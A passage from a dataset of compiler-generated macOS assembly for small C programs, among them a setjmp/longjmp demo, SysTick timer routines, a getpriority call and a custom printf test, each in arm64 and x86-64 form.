movl %eax, -8(%rbp) jmp LBB2_5 LBB2_10: movl $0, -8(%rbp) LBB2_11: ## =>This Inner Loop Header: Depth=1 cmpl $64, -8(%rbp) jae LBB2_14 ## %bb.12: ## in Loop: Header=BB2_11 Depth=1 movl -8(%rbp), %eax movl $64, %ecx subl -8(%rbp), %ecx shll $8, %ecx addl %ecx, %eax movw %ax, %cx movl -8(%rbp), %eax ## kill: def $rax killed $eax movw %cx, -136(%rbp,%rax,2) ## %bb.13: ## in Loop: Header=BB2_11 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB2_11 LBB2_14: leaq -136(%rbp), %rdi callq _bar movl $0, -8(%rbp) LBB2_15: ## =>This Inner Loop Header: Depth=1 cmpl $64, -8(%rbp) jae LBB2_20 ## %bb.16: ## in Loop: Header=BB2_15 Depth=1 movl -8(%rbp), %eax ## kill: def $rax killed $eax movzwl -136(%rbp,%rax,2), %eax movl $64, %ecx subl -8(%rbp), %ecx movl -8(%rbp), %edx shll $8, %edx addl %edx, %ecx cmpl %ecx, %eax je LBB2_18 ## %bb.17: callq _abort LBB2_18: ## in Loop: Header=BB2_15 Depth=1 jmp LBB2_19 LBB2_19: ## in Loop: Header=BB2_15 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB2_15 LBB2_20: xorl %eax, %eax addq $144, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/537865.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 sub sp, sp, #480 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str wzr, [sp, #28] add x0, sp, #72 str x0, [sp, #16] ; 8-byte Folded Spill adrp x1, l___const.main.lens@PAGE add x1, x1, l___const.main.lens@PAGEOFF mov x2, #400 bl _memcpy ldr x8, [sp, #16] ; 8-byte Folded Reload add x1, sp, #32 mov w9, #1137180672 fmov s0, w9 str s0, [sp, #32] mov w9, #26214 movk w9, #16358, lsl #16 fmov s0, w9 str s0, [sp, #36] adrp x9, l_.str@PAGE add x9, x9, l_.str@PAGEOFF ldr q0, [x9] stur q0, [x1, #8] ldur q0, [x9, #14] stur q0, [x1, #22] add x0, x8, #40 mov x2, #40 bl _memcpy ldr x8, [sp, #16] ; 8-byte Folded Reload add x0, x8, #8 adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF mov x2, #30 bl ___strcpy_chk ldr s0, [sp, #112] fcvt d0, s0 mov x8, sp str d0, [x8] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: bl ___stack_chk_fail LBB0_2: mov w0, #0 add sp, sp, #480 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .section __TEXT,__const .p2align 2 ; @__const.main.lens l___const.main.lens: .space 40 .space 40 .long 0x43fa0000 ; float 500 .long 0x40000000 ; float 2 .asciz "Remarkatar\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" .space 2 .space 40 .space 40 .space 40 .space 40 .space 40 .space 40 .space 40 l_.str: ; @.str .asciz "Canon\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" .section __TEXT,__cstring,cstring_literals l_.str.1: ; @.str.1 .asciz "Nikon" l_.str.2: ; @.str.2 .asciz "%.2f\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal4,4byte_literals .p2align 2 ## -- Begin function main LCPI0_0: .long 0x3fe66666 ## float 1.79999995 LCPI0_1: .long 0x43c80000 ## float 400 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $464, %rsp ## imm = 0x1D0 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -460(%rbp) leaq -416(%rbp), %rdi leaq l___const.main.lens(%rip), %rsi movl $400, %edx ## imm = 0x190 callq _memcpy leaq -416(%rbp), %rdi addq $40, %rdi movss LCPI0_1(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -456(%rbp) movss LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -452(%rbp) movq l_.str(%rip), %rax movq %rax, -448(%rbp) movq l_.str+8(%rip), %rax movq %rax, -440(%rbp) movq l_.str+16(%rip), %rax movq %rax, -432(%rbp) movl l_.str+24(%rip), %eax movl %eax, -424(%rbp) movw l_.str+28(%rip), %ax movw %ax, -420(%rbp) leaq -456(%rbp), %rsi movl $40, %edx callq _memcpy leaq -416(%rbp), %rdi addq $8, %rdi leaq L_.str.1(%rip), %rsi movl $30, %edx callq ___strcpy_chk movss -376(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.2(%rip), %rdi movb $1, %al callq _printf movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_2 ## %bb.1: xorl %eax, %eax addq $464, %rsp ## imm = 0x1D0 popq %rbp retq LBB0_2: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__const .p2align 4 ## @__const.main.lens l___const.main.lens: .space 40 .space 40 .long 0x43fa0000 ## float 500 .long 0x40000000 ## float 2 .asciz "Remarkatar\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" .space 2 .space 40 .space 40 .space 40 .space 40 .space 40 .space 40 .space 40 l_.str: ## @.str .asciz "Canon\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" .section __TEXT,__cstring,cstring_literals L_.str.1: ## @.str.1 .asciz "Nikon" L_.str.2: ## @.str.2 .asciz "%.2f\n" .subsections_via_symbols
the_stack_data/140764476.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] str wzr, [sp, #28] add x10, sp, #24 mov w8, #42 str w8, [sp, #24] add x8, sp, #16 mov w9, #4056 movk w9, #16457, lsl #16 fmov s0, w9 str s0, [sp, #16] adrp x9, l___const.main.c@PAGE add x9, x9, l___const.main.c@PAGEOFF ldr q0, [x9] str q0, [sp, #32] ldrb w9, [x9, #16] strb w9, [sp, #48] mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf str wzr, [sp, #20] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #20] subs w8, w8, #17 cset w8, ge tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #20] ; implicit-def: $x10 mov x10, x8 ldrsw x9, [sp, #20] add x8, sp, #32 add x8, x8, x9 mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #20] add w8, w8, #1 str w8, [sp, #20] b LBB0_1 LBB0_4: ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: bl ___stack_chk_fail LBB0_6: mov w0, #0 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .section __TEXT,__const l___const.main.c: ; @__const.main.c .asciz "Hello World!\000\000\000\000" .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "LOCAL VAR ADDRESSES:\na -> %p\nb -> %p\n" l_.str.1: ; @.str.1 .asciz "Char %d: %p\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal4,4byte_literals .p2align 2 ## -- Begin function main LCPI0_0: .long 0x40490fd8 ## float 3.14159203 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -36(%rbp) movl $42, -40(%rbp) movss LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -48(%rbp) movq l___const.main.c(%rip), %rax movq %rax, -32(%rbp) movq l___const.main.c+8(%rip), %rax movq %rax, -24(%rbp) movb l___const.main.c+16(%rip), %al movb %al, -16(%rbp) leaq L_.str(%rip), %rdi leaq -40(%rbp), %rsi leaq -48(%rbp), %rdx movb $0, %al callq _printf movl $0, -44(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpl $17, -44(%rbp) jge LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl -44(%rbp), %esi movslq -44(%rbp), %rax leaq -32(%rbp), %rdx addq %rax, %rdx leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movl -44(%rbp), %eax addl $1, %eax movl %eax, -44(%rbp) jmp LBB0_1 LBB0_4: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_6 ## %bb.5: xorl %eax, %eax addq $48, %rsp popq %rbp retq LBB0_6: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__const .p2align 4 ## @__const.main.c l___const.main.c: .asciz "Hello World!\000\000\000\000" .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "LOCAL VAR ADDRESSES:\na -> %p\nb -> %p\n" L_.str.1: ## @.str.1 .asciz "Char %d: %p\n" .subsections_via_symbols
the_stack_data/911211.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _myFunction ; -- Begin function myFunction .p2align 2 _myFunction: ; @myFunction .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf adrp x0, _buf@GOTPAGE ldr x0, [x0, _buf@GOTPAGEOFF] mov w1, #0 bl _longjmp .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] adrp x0, _buf@GOTPAGE ldr x0, [x0, _buf@GOTPAGEOFF] bl _setjmp subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: adrp x0, _buf@GOTPAGE ldr x0, [x0, _buf@GOTPAGEOFF] bl _setjmp mov x9, sp ; implicit-def: $x8 mov x8, x0 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB1_3 LBB1_2: adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf bl _myFunction b LBB1_3 LBB1_3: mov w0, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "myFunction() called.\n" .comm _buf,192,2 ; @buf l_.str.1: ; @.str.1 .asciz "setjmp(buf) = %i\n" l_.str.2: ; @.str.2 .asciz "Back in main.\n" l_.str.3: ; @.str.3 .asciz "First time through.\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _myFunction ## -- Begin function myFunction .p2align 4, 0x90 _myFunction: ## @myFunction .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp leaq L_.str(%rip), %rdi xorl %eax, %eax movl %eax, -4(%rbp) ## 4-byte Spill callq _printf movl -4(%rbp), %esi ## 4-byte Reload movq _buf@GOTPCREL(%rip), %rdi callq _longjmp .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movq _buf@GOTPCREL(%rip), %rdi callq _setjmp cmpl $0, %eax je LBB1_2 ## %bb.1: movq _buf@GOTPCREL(%rip), %rdi callq _setjmp movl %eax, %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf jmp LBB1_3 LBB1_2: leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf callq _myFunction LBB1_3: xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "myFunction() called.\n" .comm _buf,148,4 ## @buf L_.str.1: ## @.str.1 .asciz "setjmp(buf) = %i\n" L_.str.2: ## @.str.2 .asciz "Back in main.\n" L_.str.3: ## @.str.3 .asciz "First time through.\n" .subsections_via_symbols
the_stack_data/181393743.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _SysTick_Init ; -- Begin function SysTick_Init .p2align 2 _SysTick_Init: ; @SysTick_Init .cfi_startproc ; %bb.0: mov x9, #57360 movk x9, #57344, lsl #16 str xzr, [x9] mov x8, #5 str x8, [x9] ret .cfi_endproc ; -- End function .globl _SysTick_Wait ; -- Begin function SysTick_Wait .p2align 2 _SysTick_Wait: ; @SysTick_Wait .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str x0, [sp, #8] ldr x8, [sp, #8] subs x8, x8, #1 mov x9, #57364 movk x9, #57344, lsl #16 str x8, [x9] mov x8, #57368 movk x8, #57344, lsl #16 str xzr, [x8] b LBB1_1 LBB1_1: ; =>This Inner Loop Header: Depth=1 mov x8, #57360 movk x8, #57344, lsl #16 ldr x8, [x8] ands x8, x8, #0x10000 cset w8, ne tbnz w8, #0, LBB1_3 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 b LBB1_1 LBB1_3: add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _SysTick_Wait10ms ; -- Begin function SysTick_Wait10ms .p2align 2 _SysTick_Wait10ms: ; @SysTick_Wait10ms .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] str xzr, [sp] b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp] ldr x9, [sp, #8] subs x8, x8, x9 cset w8, hs tbnz w8, #0, LBB2_4 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 mov x0, #13568 movk x0, #12, lsl #16 bl _SysTick_Wait b LBB2_3 LBB2_3: ; in Loop: Header=BB2_1 Depth=1 ldr x8, [sp] add x8, x8, #1 str x8, [sp] b LBB2_1 LBB2_4: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _SysTick_Init ## -- Begin function SysTick_Init .p2align 4, 0x90 _SysTick_Init: ## @SysTick_Init .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $3758153744, %eax ## imm = 0xE000E010 movq $0, (%rax) movl $3758153744, %eax ## imm = 0xE000E010 movq $5, (%rax) popq %rbp retq .cfi_endproc ## -- End function .globl _SysTick_Wait ## -- Begin function SysTick_Wait .p2align 4, 0x90 _SysTick_Wait: ## @SysTick_Wait .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movq -8(%rbp), %rcx subq $1, %rcx movl $3758153748, %eax ## imm = 0xE000E014 movq %rcx, (%rax) movl $3758153752, %eax ## imm = 0xE000E018 movq $0, (%rax) LBB1_1: ## =>This Inner Loop Header: Depth=1 movl $3758153744, %eax ## imm = 0xE000E010 movq (%rax), %rax andq $65536, %rax ## imm = 0x10000 cmpq $0, %rax jne LBB1_3 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_1 LBB1_3: popq %rbp retq .cfi_endproc ## -- End function .globl _SysTick_Wait10ms ## -- Begin function SysTick_Wait10ms .p2align 4, 0x90 _SysTick_Wait10ms: ## @SysTick_Wait10ms .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq $0, -16(%rbp) LBB2_1: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rax cmpq -8(%rbp), %rax jae LBB2_4 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movl $800000, %edi ## imm = 0xC3500 callq _SysTick_Wait ## %bb.3: ## in Loop: Header=BB2_1 Depth=1 movq -16(%rbp), %rax addq $1, %rax movq %rax, -16(%rbp) jmp LBB2_1 LBB2_4: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/484669.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .subsections_via_symbols
the_stack_data/818264.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w1, #0 stur w1, [x29, #-12] ; 4-byte Folded Spill stur wzr, [x29, #-4] mov x0, x1 bl _getpriority stur w0, [x29, #-8] ldur w9, [x29, #-8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf ldur w0, [x29, #-12] ; 4-byte Folded Reload ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "nice value is %d\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) xorl %esi, %esi movl %esi, %edi callq _getpriority movl %eax, -8(%rbp) movl -8(%rbp), %esi leaq L_.str(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "nice value is %d\n" .subsections_via_symbols
the_stack_data/151707008.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] stur x1, [x29, #-16] mov w8, #0 stur w8, [x29, #-24] ; 4-byte Folded Spill stur wzr, [x29, #-20] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _my_printf stur w0, [x29, #-20] ldur w9, [x29, #-20] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF stur x0, [x29, #-32] ; 8-byte Folded Spill bl _my_printf mov x9, sp adrp x8, l_.str.3@PAGE add x8, x8, l_.str.3@PAGEOFF str x8, [x9] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _my_printf mov x8, x0 ldur x0, [x29, #-32] ; 8-byte Folded Reload stur w8, [x29, #-20] ldur w9, [x29, #-20] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] bl _my_printf mov x9, sp mov x8, #42 str x8, [sp, #40] ; 8-byte Folded Spill str x8, [x9] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _my_printf mov x8, x0 ldur x0, [x29, #-32] ; 8-byte Folded Reload stur w8, [x29, #-20] ldur w9, [x29, #-20] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] bl _my_printf mov x9, sp adrp x8, l_.str.6@PAGE add x8, x8, l_.str.6@PAGEOFF str x8, [x9] mov x8, #4 str x8, [x9, #8] adrp x8, l_.str.7@PAGE add x8, x8, l_.str.7@PAGEOFF str x8, [x9, #16] mov x8, #10 str x8, [x9, #24] adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _my_printf mov x8, x0 ldur x0, [x29, #-32] ; 8-byte Folded Reload stur w8, [x29, #-20] ldur w9, [x29, #-20] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] bl _my_printf ldr x8, [sp, #40] ; 8-byte Folded Reload mov x9, sp str x8, [x9] adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _my_printf mov x8, x0 ldur x0, [x29, #-32] ; 8-byte Folded Reload stur w8, [x29, #-20] ldur w9, [x29, #-20] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] bl _my_printf mov x9, sp mov x8, #59904 movk x8, #64086, lsl #16 str x8, [x9] adrp x0, l_.str.9@PAGE add x0, x0, l_.str.9@PAGEOFF bl _my_printf mov x8, x0 ldur x0, [x29, #-32] ; 8-byte Folded Reload stur w8, [x29, #-20] ldur w9, [x29, #-20] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] bl _my_printf ldr x8, [sp, #40] ; 8-byte Folded Reload mov x9, sp str x8, [x9] adrp x0, l_.str.10@PAGE add x0, x0, l_.str.10@PAGEOFF bl _my_printf mov x8, x0 ldur x0, [x29, #-32] ; 8-byte Folded Reload stur w8, [x29, #-20] ldur w9, [x29, #-20] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] bl _my_printf ldr x8, [sp, #40] ; 8-byte Folded Reload mov x9, sp str x8, [x9] adrp x0, l_.str.11@PAGE add x0, x0, l_.str.11@PAGEOFF bl _my_printf mov x8, x0 ldur x0, [x29, #-32] ; 8-byte Folded Reload stur w8, [x29, #-20] ldur w9, [x29, #-20] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] bl _my_printf ldr x8, [sp, #40] ; 8-byte Folded Reload mov x9, sp str x8, [x9] adrp x0, l_.str.12@PAGE add x0, x0, l_.str.12@PAGEOFF bl _my_printf mov x8, x0 ldur x0, [x29, #-32] ; 8-byte Folded Reload stur w8, [x29, #-20] ldur w9, [x29, #-20] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] bl _my_printf ldur w0, [x29, #-24] ; 4-byte Folded Reload ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "1 - une chaine\n" l_.str.1: ; @.str.1 .asciz "%d\n" l_.str.2: ; @.str.2 .asciz "2 - %s\n" l_.str.3: ; @.str.3 .asciz "une autre chaine" l_.str.4: ; @.str.4 .asciz "3 - %i\n" l_.str.5: ; @.str.5 .asciz "4 - %s %d %s%c\n" l_.str.6: ; @.str.6 .asciz "avec" l_.str.7: ; @.str.7 .asciz "parametres" l_.str.8: ; @.str.8 .asciz "1 - %o\n" l_.str.9: ; @.str.9 .asciz "2 - %u\n" l_.str.10: ; @.str.10 .asciz "3 - %x\n" l_.str.11: ; @.str.11 .asciz "4 - %X\n" l_.str.12: ; @.str.12 .asciz "5 - %d%%\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl %edi, -4(%rbp) movq %rsi, -16(%rbp) movl $0, -20(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _my_printf movl %eax, -20(%rbp) movl -20(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _my_printf leaq L_.str.2(%rip), %rdi leaq L_.str.3(%rip), %rsi movb $0, %al callq _my_printf movl %eax, -20(%rbp) movl -20(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _my_printf leaq L_.str.4(%rip), %rdi movl $42, %esi movb $0, %al callq _my_printf movl %eax, -20(%rbp) movl -20(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _my_printf leaq L_.str.5(%rip), %rdi leaq L_.str.6(%rip), %rsi movl $4, %edx leaq L_.str.7(%rip), %rcx movl $10, %r8d movb $0, %al callq _my_printf movl %eax, -20(%rbp) movl -20(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _my_printf leaq L_.str.8(%rip), %rdi movl $42, %esi movb $0, %al callq _my_printf movl %eax, -20(%rbp) movl -20(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _my_printf leaq L_.str.9(%rip), %rdi movl $4200000000, %esi ## imm = 0xFA56EA00 movb $0, %al callq _my_printf movl %eax, -20(%rbp) movl -20(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _my_printf leaq L_.str.10(%rip), %rdi movl $42, %esi movb $0, %al callq _my_printf movl %eax, -20(%rbp) movl -20(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _my_printf leaq L_.str.11(%rip), %rdi movl $42, %esi movb $0, %al callq _my_printf movl %eax, -20(%rbp) movl -20(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _my_printf leaq L_.str.12(%rip), %rdi movl $42, %esi movb $0, %al callq _my_printf movl %eax, -20(%rbp) movl -20(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _my_printf xorl %eax, %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "1 - une chaine\n" L_.str.1: ## @.str.1 .asciz "%d\n" L_.str.2: ## @.str.2 .asciz "2 - %s\n" L_.str.3: ## @.str.3 .asciz "une autre chaine" L_.str.4: ## @.str.4 .asciz "3 - %i\n" L_.str.5: ## @.str.5 .asciz "4 - %s %d %s%c\n" L_.str.6: ## @.str.6 .asciz "avec" L_.str.7: ## @.str.7 .asciz "parametres" L_.str.8: ## @.str.8 .asciz "1 - %o\n" L_.str.9: ## @.str.9 .asciz "2 - %u\n" L_.str.10: ## 